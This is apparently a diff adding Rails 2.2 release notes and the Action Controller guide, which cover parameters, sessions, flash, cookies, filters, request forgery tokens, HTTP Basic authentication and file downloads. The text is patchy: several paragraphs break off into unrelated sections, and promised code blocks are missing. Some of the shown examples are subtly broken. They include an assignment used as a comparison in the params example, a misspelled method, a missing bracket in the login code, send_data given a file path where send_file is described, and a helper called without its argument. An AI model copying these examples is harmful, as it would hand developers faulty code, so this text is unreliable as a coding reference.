1. Infrastructure
+
+
Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
1.1. Internationalization
+
Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+
2. Documentation
+
+
The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
If you want to generate these guides locally, inside your application:
+
+
+
rake doc:guides
+
+
This will put the guides inside RAILS_ROOT/doc/guides and you may start surfing straight away by opening RAILS_ROOT/doc/guides/index.html in your favourite browser.
3. Better integration with HTTP : Out of the box ETag support
+
+
Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+
+
class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article= Article.find(params[:id])
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified =>@article.published_at.utc,:etag =>@article)
+ respond_to do|wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article= Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified =>@article.published_at.utc,:etag =>@article)
+ end
+end
+
+
+
4. Thread Safety
+
+
The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:
There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
5.1. Transactional Migrations
+
Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.
The new bang! version of find_by_<attribute>! is equivalent to Model.first(:conditions ⇒ {:attribute ⇒ value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+
+
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+
Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.
+rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo
+
+
+
+
+Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.
+
+
+
+
+Counter cache columns (for associations declared with :counter_cache ⇒ true) do not need to be initialized to zero any longer.
+
+
+
+
+ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names
+
+
+
+
+
6. Action Controller
+
+
On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
6.1. Shallow Route Nesting
+
Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
6.2. Method Arrays for Member or Collection Routes
+
You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.
+The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.user_accept_header = true.
+
+
+
+
+Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+
+
+
+
+Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+
+
+
+
+redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
+
+
+
+
+render now supports a :js option to render plain vanilla javascript with the right mime type.
+
+
+
+
+Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+
+
+
+
+Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.
+
+
+
+
+
7. Action View
+
+
+
+
+javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.
+
+
+
+
+The included Prototype javascript library has been upgraded to version 1.6.0.3.
+
+
+
+
+RJS#page.reload to reload the browser's current location via javascript
+
+
+
+
+The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.
+
+
+
+
+
8. Action Mailer
+
+
Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.
Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+
9. Active Support
+
+
Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.
+
9.1. Memoization
+
Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.
+
+
+
+
+The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.
+
+
+
+
+past?, today? and future? for Date and Time classes to facilitate date/time comparisons.
+
+
+
+
+Array#second through Array#fifth as aliases for Array#[1] through Array#[4]
+
+
+
+
+Enumerable#many? to encapsulate collection.size > 1
+
+
+
+
+Inflector#parameterize produces a URL-ready version of its input, for use in to_param.
+
+
+
+
+Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.
+
+
+
+
+The included TzInfo library has been upgraded to version 0.3.12.
+
+
+
+
+ActiveSuport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? ⇒ true
+
+
+
+
+
10. Railties
+
+
In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.
+
10.1. config.gems
+
To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+
+
+config.gem gem_name in your config/environment.rb file
+
+
+
+
+rake gems to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
+
+
+
+
+rake gems:install to install missing gems to the computer
+
+
+
+
+rake gems:unpack to place a copy of the required gems into /vendor/gems
+
+
+
+
+rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems
+
+
+
+
+rake gems:build to build any missing native extensions
+
+
+
+
+rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+
+
+
You can unpack or install a single gem by specifying GEM=gem_name on the command line.
Previously the above code made available a local variable called customer inside the partial customer. You should explicitly pass all the variables via :locals hash now.
+
+
+
+country_select has been removed. See the deprecation page for more information and a plugin replacement.
+
+
+
+
+ActiveRecord::Base.allow_concurrency no longer has any effect.
+
+
+
+
+ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate(activerecord.errors.messages)
+
+
+
+
+The %s and %d interpolation syntax for internationalization is deprecated.
+
+
+
+
+String#chars has been deprecated in favor of String#mb_chars.
+
+
+
+
+Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.
+
In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+
+
+Follow the flow of a request through a controller
+
+
+
+
+Understand why and how to store data in the session or cookies
+
+
+
+
+Work with filters to execute code during request processing
+
+Filter sensitive parameters so they do not appear in the application's log
+
+
+
+
+Deal with exceptions that may be raised during request processing
+
+
+
+
+
+
1. What Does a Controller do?
+
+
Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.
+
For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.
+
+
+
class ClientsController < ApplicationController
+
+ # Actions are public methods
+ def new
+ end
+
+ # Action methods are responsible for producing output
+ def edit
+ end
+
+# Helper methods are private and can not be used as actions
+private
+
+ def foo
+ end
+
+end
+
+
There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.
+
As an example, if a user goes to /clients/new in your application to add a new client, Rails will create an instance of ClientsController and run the new method. Note that the empty method from the example above could work just fine because Rails will by default render the new.html.erb view unless the action says otherwise. The new method could make available to the view a @client instance variable by creating a new Client:
ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+
3. Parameters
+
+
You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the params hash in your controller:
+
+
+
class ClientsController < ActionController::Base
+
+ # This action uses query string parameters because it gets run by a HTTP
+ # GET request, but this does not make any difference to the way in which
+ # the parameters are accessed. The URL for this action would look like this
+ # in order to list activated clients: /clients?status=activated
+ def index
+ if params[:status]="activated"
+ @clients= Client.activated
+ else
+ @clients= Client.unativated
+ end
+ end
+
+ # This action uses POST parameters. They are most likely coming from an HTML
+ # form which the user has submitted. The URL for this RESTful request will
+ # be "/clients", and the data will be sent as part of the request body.
+ def create
+ @client= Client.new(params[:client])
+ if@client.save
+ redirect_to @client
+ else
+ # This line overrides the default rendering behavior, which would have been
+ # to render the "create" view.
+ render :action =>"new"
+ end
+ end
+
+end
+
+
3.1. Hash and Array Parameters
+
The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:
+
+
+
GET /clients?ids[]=1&ids[]=2&ids[]=3
+
+
+
+
+
+
+
The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+
+
The value of params[:ids] will now be ["1", "2", "3"]. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
To send a hash you include the key name inside the brackets:
The value of params[:client] when this form is submitted will be {"name" ⇒ "Acme", "phone" ⇒ "12345", "address" ⇒ {"postcode" ⇒ "12345", "city" ⇒ "Carrot City"}}. Note the nested hash in params[:client][:address].
+
Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.
+
3.2. Routing Parameters
+
The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the :status parameter in a "pretty" URL:
In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar" just like it was passed in the query string in the same way params[:action] will contain "index".
+
3.3. default_url_options
+
You can set global default parameters that will be used when generating URLs with default_url_options. To do this, define a method with that name in your controller:
+
+
+
class ApplicationController < ActionController::Base
+
+ #The options parameter is the hash passed in to +url_for+
+ def default_url_options(options)
+ {:locale => I18n.locale}
+ end
+
+end
+
+
These options will be used as a starting-point when generating, so it's possible they'll be overridden by url_for. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
+
+
4. Session
+
+
Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+
+
+CookieStore - Stores everything on the client.
+
+
+
+
+DRbStore - Stores the data on a DRb server.
+
+
+
+
+MemCacheStore - Stores the data in a memcache.
+
+
+
+
+ActiveRecordStore - Stores the data in a database using Active Record.
+
+
+
+
All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).
+
Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.
If you need a different session storage mechanism, you can change it in the config/environment.rb file:
+
+
+
# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
+config.action_controller.session_store =:active_record_store
+
+
4.1. Disabling the Session
+
Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the session class method in your controller:
+
+
+
class ApplicationController < ActionController::Base
+ session :off
+end
+
+
You can also turn the session on or off for a single controller:
+
+
+
# The session is turned off by default in ApplicationController, but we
+# want to turn it on for log in/out.
+class LoginsController < ActionController::Base
+ session :on
+end
+
+
Or even for specified actions:
+
+
+
class ProductsController < ActionController::Base
+ session :on,:only =>[:create,:update]
+end
+
+
4.2. Accessing the Session
+
In your controller you can access the session through the session instance method.
+
+
+
+
+
+
There are two session methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
+
+
+
Session values are stored using key/value pairs like a hash:
+
+
+
class ApplicationController < ActionController::Base
+
+private
+
+ # Finds the User with the ID stored in the session with the key :current_user_id
+ # This is a common way to handle user login in a Rails application; logging in sets the
+ # session value and logging out removes it.
+ def current_user
+ @_current_user||= session[:current_user_id]&& User.find(session[:current_user_id])
+ end
+
+end
+
+
To store something in the session, just assign it to the key like a hash:
+
+
+
class LoginsController < ApplicationController
+
+ # "Create" a login, aka "log the user in"
+ def create
+ if user = User.authenticate(params[:username, params[:password])
+ # Save the user ID in the session so it can be used in subsequent requests
+ session[:current_user_id]= user.id
+ redirect_to root_url
+ end
+ end
+
+end
+
+
To remove something from the session, assign that key to be nil:
+
+
+
class LoginsController < ApplicationController
+
+ # "Delete" a login, aka "log the user out"
+ def destroy
+ # Remove the user id from the session
+ session[:current_user_id]=nil
+ redirect_to root_url
+ end
+
+end
+
+
To reset the entire session, use reset_session.
+
4.3. The flash
+
The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+
+
class LoginsController < ApplicationController
+
+ def destroy
+ session[:current_user_id]=nil
+ flash[:notice]="You have successfully logged out"
+ redirect_to root_url
+ end
+
+end
+
+
The destroy action redirects to the application's root_url, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+
+
<html>
+ <!-- <head/> -->
+ <body>
+ <% if flash[:notice] -%>
+ <p class="notice"><%= flash[:notice] %></p>
+ <% end -%>
+ <% if flash[:error] -%>
+ <p class="error"><%= flash[:error] %></p>
+ <% end -%>
+ <!-- more content -->
+ </body>
+</html>
+
+
This way, if an action sets an error or a notice message, the layout will display it automatically.
+
If you want a flash value to be carried over to another request, use the keep method:
+
+
+
class MainController < ApplicationController
+
+ # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
+ # UsersController#index. If an action sets the flash and redirects here, the values would normally be
+ # lost when another redirect happens, but you can use keep to make it persist for another request.
+ def index
+ flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
+ redirect_to users_url
+ end
+
+end
+
+
4.3.1. flash.now
+
By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource and you render the new template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:
+
+
+
class ClientsController < ApplicationController
+
+ def create
+ @client= Client.new(params[:client])
+ if@client.save
+ # ...
+ else
+ flash.now[:error]="Could not save client"
+ render :action =>"new"
+ end
+ end
+
+end
+
+
+
5. Cookies
+
+
Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the cookies method, which - much like the session - works like a hash:
+
+
+
class CommentsController < ApplicationController
+
+ def new
+ #Auto-fill the commenter's name if it has been stored in a cookie
+ @comment= Comment.new(:name => cookies[:commenter_name])
+ end
+
+ def create
+ @comment= Comment.new(params[:comment])
+ if@comment.save
+ flash[:notice]="Thanks for your comment!"
+ if params[:remember_name]
+ # Remember the commenter's name
+ cookies[:commenter_name]=@comment.name
+ else
+ # Don't remember, and delete the name if it has been remembered before
+ cookies.delete(:commenter_name)
+ end
+ redirect_to @comment.article
+ else
+ render :action =>"new"
+ end
+ end
+
+end
+
+
Note that while for session values, you set the key to nil, to delete a cookie value, you should use cookies.delete(:key).
+
+
6. Filters
+
+
Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+
+
class ApplicationController < ActionController::Base
+
+private
+
+ def require_login
+ unless logged_in?
+ flash[:error]="You must be logged in to access this section"
+ redirect_to new_login_url # Prevents the current action from running
+ end
+ end
+
+ # The logged_in? method simply returns true if the user is logged in and
+ # false otherwise. It does this by "booleanizing" the current_user method
+ # we created previously using a double ! operator. Note that this is not
+ # common in Ruby and is discouraged unless you really mean to convert something
+ # into true or false.
+ def logged_in?
+ !!current_user
+ end
+
+end
+
+
The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the before_filter method:
In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with skip_before_filter :
Now, the LoginsController's "new" and "create" actions will work as before without requiring the user to be logged in. The :only option is used to only skip this filter for these actions, and there is also an :except option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
6.1. After Filters and Around Filters
+
In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+
+
# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+
+ around_filter :catch_exceptions
+
+private
+
+ def catch_exceptions
+ yield
+ rescue=> exception
+ logger.debug "Caught exception! #{exception}"
+ raise
+ end
+
+end
+
+
6.2. Other Ways to Use Filters
+
While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the require_login filter from above could be rewritten to use a block:
Note that the filter in this case uses send because the logged_in? method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+
+
class ApplicationController < ActionController::Base
+
+ before_filter LoginFilter
+
+end
+
+class LoginFilter
+
+ defself.filter(controller)
+ unless logged_in?
+ controller.flash[:error]="You must be logged in to access this section"
+ controller.redirect_to controller.new_login_url
+ end
+ end
+
+end
+
+
Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method filter which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same filter method, which will get run in the same way. The method must yield to execute the action. Alternatively, it can have both a before and an after method that are run before and after the action.
Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the params, session or flash hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the API documentation as "essentially a special kind of before_filter".
+
Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
Now the create action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for every action in LoginsController, which is not what we want. You can limit which actions it will be used for with the :only and :except options just like a filter:
+
+
+
class LoginsController < ApplicationController
+
+ verify :params =>[:username,:password],
+ :render =>{:action =>"new"},
+ :add_flash =>{:error =>"Username and password required to log in"},
+ :only =>:create # Only run this verification for the "create" action
+
+end
+
+
+
8. Request Forgery Protection
+
+
Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
If you generate a form like this:
+
+
+
<% form_for @user do |f| -%>
+ <%= f.text_field :username %>
+ <%= f.text_field :password -%>
+<% end -%>
+
+
You will see how the token gets added as a hidden field:
Rails adds this token to every form that's generated using the form helpers, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method form_authenticity_token:
+
+
Example: Add a JavaScript variable containing the token for use with Ajax
The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+
9. The request and response Objects
+
+
In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of AbstractRequest and the response method returns a response object representing what is going to be sent back to the client.
+
9.1. The request Object
+
The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:
+
+
+
+host - The hostname used for this request.
+
+
+
+
+domain - The hostname without the first segment (usually "www").
+
+
+
+
+format - The content type requested by the client.
+
+
+
+
+method - The HTTP method used for the request.
+
+
+
+
+get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
+
+
+
+
+headers - Returns a hash containing the headers associated with the request.
+
+
+
+
+port - The port number (integer) used for the request.
+
+
+
+
+protocol - The protocol used for the request.
+
+
+
+
+query_string - The query string part of the URL - everything after "?".
+
+
+
+
+remote_ip - The IP address of the client.
+
+
+
+
+url - The entire URL used for the request.
+
+
+
+
9.1.1. path_parameters, query_parameters and request_parameters
+
Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
9.2. The response Object
+
The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+
+
+body - This is the string of data being sent back to the client. This is most often HTML.
+
+
+
+
+status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
+
+
+
+
+location - The URL the client is being redirected to, if any.
+
+
+
+
+content_type - The content type of the response.
+
+
+
+
+charset - The character set being used for the response. Default is "utf8".
+
+
+
+
+headers - Headers used for the response.
+
+
+
+
9.2.1. Setting Custom Headers
+
If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to headers with the name and value:
Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, authenticate_or_request_with_http_basic.
With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.
+
+
11. Streaming and File Downloads
+
+
Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, that will both stream data to the client. send_file is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
To stream data to the client, use send_data:
+
+
+
require"prawn"
+class ClientsController < ApplicationController
+
+ # Generate a PDF document with information on the client and return it.
+ # The user will get the PDF as a file download.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data(generate_pdf,:filename =>"#{client.name}.pdf",:type =>"application/pdf")
+ end
+
+private
+
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name,:align =>:center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
+
+end
+
+
The download_pdf action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the :disposition option to "inline". The opposite and default value for this option is "attachment".
+
11.1. Sending Files
+
If you want to send a file that already exists on disk, use the send_file method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.
+
+
+
class ClientsController < ApplicationController
+
+ # Stream a file that has already been generated and stored on disk
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf",:filename =>"#{client.name}.pdf",:type =>"application/pdf")
+ end
+
+end
+
+
This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.
+
+
+
+
+
+
Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+
+
+
+
+
+
+
It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+
+
11.2. RESTful Downloads
+
While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:
+
+
+
class ClientsController < ApplicationController
+
+ # The user can request to receive this resource as HTML or PDF.
+ def show
+ @client= Client.find(params[:id])
+
+ respond_to do|format|
+ format.html
+ format.pdf{ render :pdf => generate_pdf(@client)}
+ end
+ end
+
+end
+
+
In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:
+
+
+
Mime::Type.register "application/pdf",:pdf
+
+
+
+
+
+
+
Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+
+
Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+
+
GET /clients/1.pdf
+
+
+
12. Parameter Filtering
+
+
Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The filter_parameter_logging method can be used to filter out sensitive information from the log. It works by replacing certain values in the params hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
